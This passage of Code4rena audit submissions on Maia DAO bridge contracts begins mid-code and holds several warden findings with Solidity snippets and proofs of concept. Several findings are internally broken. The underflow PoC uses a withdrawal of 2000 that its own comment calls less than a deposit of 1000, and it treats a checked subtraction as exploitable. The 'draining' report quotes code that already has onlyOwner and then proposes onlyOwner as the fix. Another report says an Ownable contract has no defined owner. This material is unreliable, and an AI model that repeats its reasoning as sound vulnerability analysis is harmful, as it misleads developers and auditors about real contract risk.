        minimum reserves ratio");
        strategyTokens.push(_token);
        strategyTokensLenght++;
        getMinimumTokenReserveRatio[_token] = _minimumReservesRatio;
        isStrategyToken[_token] = true;
        emit StrategyTokenAdded(_token, _minimumReservesRatio);
      }
   

Tools used

Remix

Assessed type

Other

See the markdown file with the details of this report here.

Lines of code

https://github.com/code-423n4/2023-09-maia/blob/main/src/ArbitrumBranchPort.sol#L119-L137

Vulnerability details

Description

The ArbitrumBranchPort contract contains a potential issue in the _bridgeOut function that may lead to an underflow and unintended behavior. Specifically, there is no check to ensure that _amount is greater than or equal to _deposit before performing the subtraction, which can result in an underflow and potential financial loss.

Location of the Bug

The issue can be found in the following function within the ArbitrumBranchPort.sol contract:

 function _bridgeOut(
     address _depositor,
     address _localAddress,
     address _underlyingAddress,
     uint256 _amount,
     uint256 _deposit
 ) internal override {
     // Store Underlying Tokens
     if (_deposit > 0) {
       _underlyingAddress.safeTransferFrom(_depositor, address(this), _deposit);
     }

     // Burn hTokens if any are being used
     if (_amount - _deposit > 0) {
         unchecked {
             IRootPort(rootPortAddress).bridgeToRootFromLocalBranch(_depositor, _localAddress, _amount - _deposit);
         }
     }
 }

Explanation

In the _bridgeOut function, the subtraction of _deposit from _amount is performed without verifying that _amount is greater than or equal to _deposit. This can lead to an underflow when _amount is less than _deposit, resulting in unexpected behavior and potential financial loss.

Proof of Concept (PoC)

To demonstrate the bug, follow these steps:

• Deploy the ArbitrumBranchPort contract with a valid configuration.

• Call the _bridgeOut function with _amount less than _deposit, creating an underflow situation.

// For demonstration purposes ; replace with actual addresses and values.
uint256 depositAmount = 1000; // Replace with a valid deposit amount
uint256 withdrawalAmount = 2000; // Replace with an amount less than depositAmount

// Make the function call
ArbitrumBranchPortInstance._bridgeOut(
msg.sender, // Depositor's address
localAddress, // Local token address
underlyingAddress, // Underlying token address
withdrawalAmount, // Withdrawal amount
depositAmount // Deposit amount
);

Expected Behavior

The contract should handle the subtraction of _deposit from _amount safely, ensuring that no underflow occurs, and it should revert with an error if _amount is less than _deposit.

Observed Behavior

I the subtraction is performed without checking whether 1_amount1 is greater than or equal to _deposit. As a result, the contract allows _amount to be less than _deposit, causing an underflow. This can lead to unintended consequences and potential financial loss.

Impact

This bug has the potential to cause financial loss or unintended behavior if exploited.

Recommended Solution

To resolve this issue, it is recommended to add a check in the _bridgeOut function to ensure that _amount is greater than or equal to _deposit before performing the subtraction. If _amount is less than _deposit, the function should revert with an error.

Tools Used

Manual REview

Assessed type

Under/Overflow

See the markdown file with the details of this report here.

Lines of code

https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/CoreRootRouter.sol#L156 https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/CoreRootRouter.sol#L162

Vulnerability details

Impact

The identified issue in the code can potentially lead to a gas draining attack. In specific functions like toggleBranchBridgeAgentFactory and removeBranchBridgeAgent, there is a transfer of Ether (msg.value) to an _refundee address. Without proper access control, malicious actors can repeatedly, drain the contract's Ether balance. This could result in unexpected financial losses for the contract owner.

Proof of Concept

Here is an example of the vulnerable code from the contract:

function toggleBranchBridgeAgentFactory(
    address _rootBridgeAgentFactory,
    address _branchBridgeAgentFactory,
    address _refundee,
    uint16 _dstChainId,
    GasParams calldata _gParams
) external payable onlyOwner {
    // ...

    // Transfer Ether to _refundee
    payable(_refundee).transfer(msg.value);
}

To exploit this vulnerability, a malicious actor can repeatedly call the toggleBranchBridgeAgentFactory function or similar functions, causing Ether transfers to _refundee and potentially draining the contract's Ether balance.

Tools Used

No specific tools were used for this analysis, as it involves a code review and security analysis of the provided Solidity smart contract.

Recommended Mitigation Steps

To address this vulnerability, it is recommended to implement access control and introduce a withdrawal pattern for Ether transfers. Here's a recommended mitigation step with code snippets:

Mitigation Step

1. Implement Access Control: Restrict who can call functions involving Ether transfers to prevent unauthorized access. In this example, we restrict the toggleBranchBridgeAgentFactory function to the contract owner.

   modifier onlyOwner() {
       require(msg.sender == owner, "Only contract owner can call this function");
       _;
   }
   
   // Function to set the contract owner
   function setOwner(address newOwner) external onlyOwner {
       owner = newOwner;
   }

In the vulnerable code, functions like toggleBranchBridgeAgentFactory and removeBranchBridgeAgent lack proper access control. To mitigate this issue, we can implement an access control modifier to restrict who can call these functions. In this example, we'll use the onlyOwner modifier to allow only the contract owner to call these functions:

// Define a contract owner variable
address public owner;

// Modifier to allow only the contract owner to call functions
modifier onlyOwner() {
    require(msg.sender == owner, "Only contract owner can call this function");
    _;
}

// Function to set the contract owner
function setOwner(address newOwner) external onlyOwner {
    owner = newOwner;
}

// Function to initialize the contract owner
function initializeOwner(address initialOwner) internal {
    owner = initialOwner;
}

// Constructor
constructor(uint256 _rootChainId, address _rootPortAddress) {
    rootChainId = _rootChainId;
    rootPortAddress = _rootPortAddress;

    initializeOwner(msg.sender); // Initialize the contract owner
    _setup = true;
}

By implementing the onlyOwner modifier, we ensure that only the contract owner can call sensitive functions, preventing unauthorized access to Ether transfers.

2. Withdrawal Pattern: Allow users to withdraw their Ether balances using a withdrawal pattern. Track user balances and provide a function for users to withdraw their Ether.

   // Define a mapping to track Ether balances of users
   mapping(address => uint256) public userBalances;
   
   // Function to allow users to withdraw their Ether
   function withdrawEther() external {
       uint256 amount = userBalances[msg.sender];
       require(amount > 0, "No Ether to withdraw");
       userBalances[msg.sender] = 0;
       payable(msg.sender).transfer(amount);
   }
   
   function toggleBranchBridgeAgentFactory(
       address _rootBridgeAgentFactory,
       address _branchBridgeAgentFactory,
       uint16 _dstChainId,
       GasParams calldata _gParams
   ) external payable onlyOwner {
       // ...
   
       // Track the Ether received from the caller
       userBalances[msg.sender] += msg.value;
   }

To address the gas draining vulnerability and provide users with control over their Ether balances, we can implement a withdrawal pattern. This pattern allows users to withdraw their Ether from the contract. Here's how we can modify the contract to include this pattern:

// Define a mapping to track Ether balances of users
mapping(address => uint256) public userBalances;

// Function to allow users to withdraw their Ether
function withdrawEther() external {
    uint256 amount = userBalances[msg.sender];
    require(amount > 0, "No Ether to withdraw");
    userBalances[msg.sender] = 0;
    payable(msg.sender).transfer(amount);
}

// Modify the vulnerable function to track the Ether received from the caller
function toggleBranchBridgeAgentFactory(
    address _rootBridgeAgentFactory,
    address _branchBridgeAgentFactory,
    uint16 _dstChainId,
    GasParams calldata _gParams
) external payable onlyOwner {
    // ... (other code)

    // Track the Ether received from the caller
    userBalances[msg.sender] += msg.value;
}

With these mitigation steps, the contract owner can still receive Ether in authorized functions, and users have control over their Ether balances. Unauthorized access is restricted, reducing the risk of gas draining attacks.

Assessed type

ETH-Transfer

Lines of code

https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/CoreRootRouter.sol#L163

Vulnerability details

Impact

The contract lacks comprehensive error handling, as it uses custom error messages for some revert statements but neglects others. This incomplete error handling can lead to confusion for developers and users when transactions fail, as they won't have clear information about the cause of the revert. This deficiency could hinder effective debugging and negatively impact the user experience.

Proof of Concept

Here's an example from the contract where custom error messages are used:

if (!IPort(rootPortAddress).isBridgeAgentFactory(_rootBridgeAgentFactory)) {
    revert UnauthorizedCallerNotManager();
}

In this code snippet, a custom error message UnauthorizedCallerNotManager is used, which provides some context about the reason for the revert.

However, there are other parts of the contract where error messages are missing or not informative enough. For instance:

if (!IPort(rootPortAddress).isGlobalAddress(_globalAddress)) {
    revert UnrecognizedGlobalToken();
}

In this case, while there is a custom error message UnrecognizedGlobalToken, it doesn't specify why the global token is unrecognized, leaving room for ambiguity.

Recommended Mitigation Steps

To improve the contract's error handling and enhance the user experience, it's crucial to provide informative error messages for all custom errors. Here's an example of how this can be done:

error UnrecognizedGlobalToken(string reason);

function someFunction(address _globalAddress) external {
    if (!IPort(rootPortAddress).isGlobalAddress(_globalAddress)) {
        revert UnrecognizedGlobalToken("Global token is not recognized"); // Enhanced error message
    }
}

By consistently implementing informative error messages throughout the contract, developers and users will have a better understanding of the causes of transaction failures, leading to improved usability and easier debugging.

Assessed type

Error

Agreements

If you are a C4 Certified Contributor by commenting or interacting with this repo prior to public release of the contest report, you agree that you have read the Certified Warden docs and agree to be bound by:

• C4 Certified Contributor Terms and Conditions,
• C4 Code of Professional Conduct, and
• the disclosure guidelines below.

To signal your agreement to these terms, add a 👍 emoji to this issue.

Code4rena staff reserves the right to disqualify anyone from this role and similar future opportunities who is unable to participate within the above guidelines.

Disclosures

Sponsors may elect to add team members and contractors to assist in sponsor review and triage. All sponsor representatives added to the repo should comment on this issue to identify themselves.

To ensure contest integrity, the following potential conflicts of interest should also be disclosed with a comment in this issue:

1. any sponsor staff or sponsor contractors who are also participating as wardens
2. any wardens hired to assist with sponsor review (and thus presenting sponsor viewpoint on findings)
3. any wardens who have a relationship with a judge that would typically fall in the category of potential conflict of interest (family, employer, business partner, etc)
4. any other case where someone might reasonably infer a possible conflict of interest.

Lines of code

https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/factories/ERC20hTokenBranchFactory.sol#L60-L77
https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/factories/ERC20hTokenBranchFactory.sol#L61

Vulnerability details

Impact

The Solidity require() construct is meant to validate external inputs of a function. In most cases, such external inputs are provided by callers, but they may also be returned by callees. In the former case, we refer to them as precondition violations. Violations of a requirement can indicate one of two possible issues:

A bug exists in the contract that provided the external input.
The condition used to express the requirement is too strong.
Vulnerable code

//2023-09-maia/src/factories/ERC20hTokenBranchFactory.sol => Ln 61.
        require(_coreRouter != address(0), "CoreRouter address cannot be 0");

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "./ERC20hTokenBranchFactory.sol";

import {Ownable} from "202309-maia/lib/solady/src/auth/Ownable.sol";

import {ERC20} from "../token/ERC20hTokenBranch.sol";

import {IERC20hTokenBranchFactory, ERC20hTokenBranch} from "../interfaces/IERC20hTokenBranchFactory.sol";

/// @title ERC20hTokenBranch Factory Contract
/// @author MaiaDAO
contract tERC20hTokenBranchFactory {

       ERC20hTokenBranchFactory public x1;

       constructor(ERC20hTokenBranchFactory _x1) {

            x1 = ERC20hTokenBranchFactory(_x1);

       }

       function testRequirementViolation() external payable {

            x1.initialize(address(0x5B38Da6a701c568545dCfcB03FcB875f56beddC4), address(0xAb8483F64d9C6d1EcF9b849Ae677dD3315835cb2));

       }

}

Log

transact to tERC20hTokenBranchFactory.testRequirementViolation pending ... 
[vm]from: 0x5B3...eddC4to: Ownable.(fallback) 0xAb8...35cb2value: 0 weidata: 0xaae...d0e19logs: 0hash: 0x17e...c8e0f
status	true Transaction mined and execution succeed
transaction hash	0x17ef6b61a36fe879d1e1fae73ecf2483e3fd232163e43d993cbafd981d7c8e0f
block hash	0x97ec702a51c2d6bd2f53cbcf756ea0264803e23f1382e02195e2c7cf314a9a76
block number	1
from	0x5B38Da6a701c568545dCfcB03FcB875f56beddC4
to	Ownable.(fallback) 0xAb8483F64d9C6d1EcF9b849Ae677dD3315835cb2
gas	24224 gas
transaction cost	21064 gas 
input	0xaae...d0e19
decoded input	-
decoded output	 - 
logs	[]
val	0 wei

Tools Used

Remix IDE.

Recommended Mitigation Steps

If the required logical condition is too strong, it should be weakened to allow all valid external inputs.
Otherwise, the bug must be in the contract that provided the external input and one should consider fixing its code by making sure no invalid inputs are provided.

Assessed type

Access Control

Lines of code

https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/MulticallRootRouter.sol#L57 https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/MulticallRootRouter.sol#L109 https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/MulticallRootRouter.sol#L110

Vulnerability details

Impact

The identified issue of the lack of access control in the contract can have a significant impact. Without proper access control mechanisms, unauthorized users may have the ability to manipulate critical risk parameters, which can lead to undesirable consequences for the protocol. These consequences may include financial losses, disruptions in protocol functionality, and even potential vulnerabilities exploited by malicious actors.

Proof of Concept

This vulnerability is a design issue and does not require a direct proof of concept. The lack of access control can be understood by examining the relevant code snippet from the contract:

/**
 * @title  Multicall Root Router Contract
 * ...
 */
contract MulticallRootRouter is IRootRouter, Ownable {
    ...

    /**
     * @notice Initializes the Multicall Root Router.
     * @param _bridgeAgentAddress The address of the Bridge Agent.
     */
    function initialize(address _bridgeAgentAddress) external onlyOwner {
        require(_bridgeAgentAddress != address(0), "Bridge Agent Address cannot be 0");

        bridgeAgentAddress = payable(_bridgeAgentAddress);
        bridgeAgentExecutorAddress = IBridgeAgent(_bridgeAgentAddress).bridgeAgentExecutorAddress();
        renounceOwnership();
    }

    ...
}

In the code, the initialize function is marked with the onlyOwner modifier, which means that only the owner of the contract (the deployer) can call this function. However, there is no indication in the code that defines who the owner is or how the owner is determined. Furthermore, other important functions, such as execute, executeSigned, and others, do not have access control checks.

Tools Used

The identification of this issue was based on a manual code review.

Recommended Mitigation Steps

To mitigate the risk associated with the lack of access control, it is essential to implement proper access control mechanisms within the contract. One common and widely recognized approach is to use the OpenZeppelin Ownable contract, which allows you to designate an owner and restrict access to certain functions to only the owner or authorized users.

An example recommendation of how to implement access control using the Ownable contract:

import "@openzeppelin/contracts/access/Ownable.sol";

contract MulticallRootRouter is IRootRouter, Ownable {
    ...

    /**
     * @notice Set the owner of the contract.
     */
    constructor() Ownable() {
        // The deployer of the contract will become the owner by default.
    }

    /**
     * @notice Initializes the Multicall Root Router.
     * @param _bridgeAgentAddress The address of the Bridge Agent.
     */
    function initialize(address _bridgeAgentAddress) external onlyOwner {
        require(_bridgeAgentAddress != address(0), "Bridge Agent Address cannot be 0");

        bridgeAgentAddress = payable(_bridgeAgentAddress);
        bridgeAgentExecutorAddress = IBridgeAgent(_bridgeAgentAddress).bridgeAgentExecutorAddress();
        renounceOwnership();
    }

    ...
}

In this example, the contract inherits from the Ownable contract, and the initialize function is marked with the onlyOwner modifier. This ensures that only the designated owner can call the initialize function and other functions protected by the onlyOwner modifier.

By implementing proper access control mechanisms like this, you can restrict access to critical functions to authorized users, enhancing the security of the protocol.

Assessed type

Access Control

See the markdown file with the details of this report here.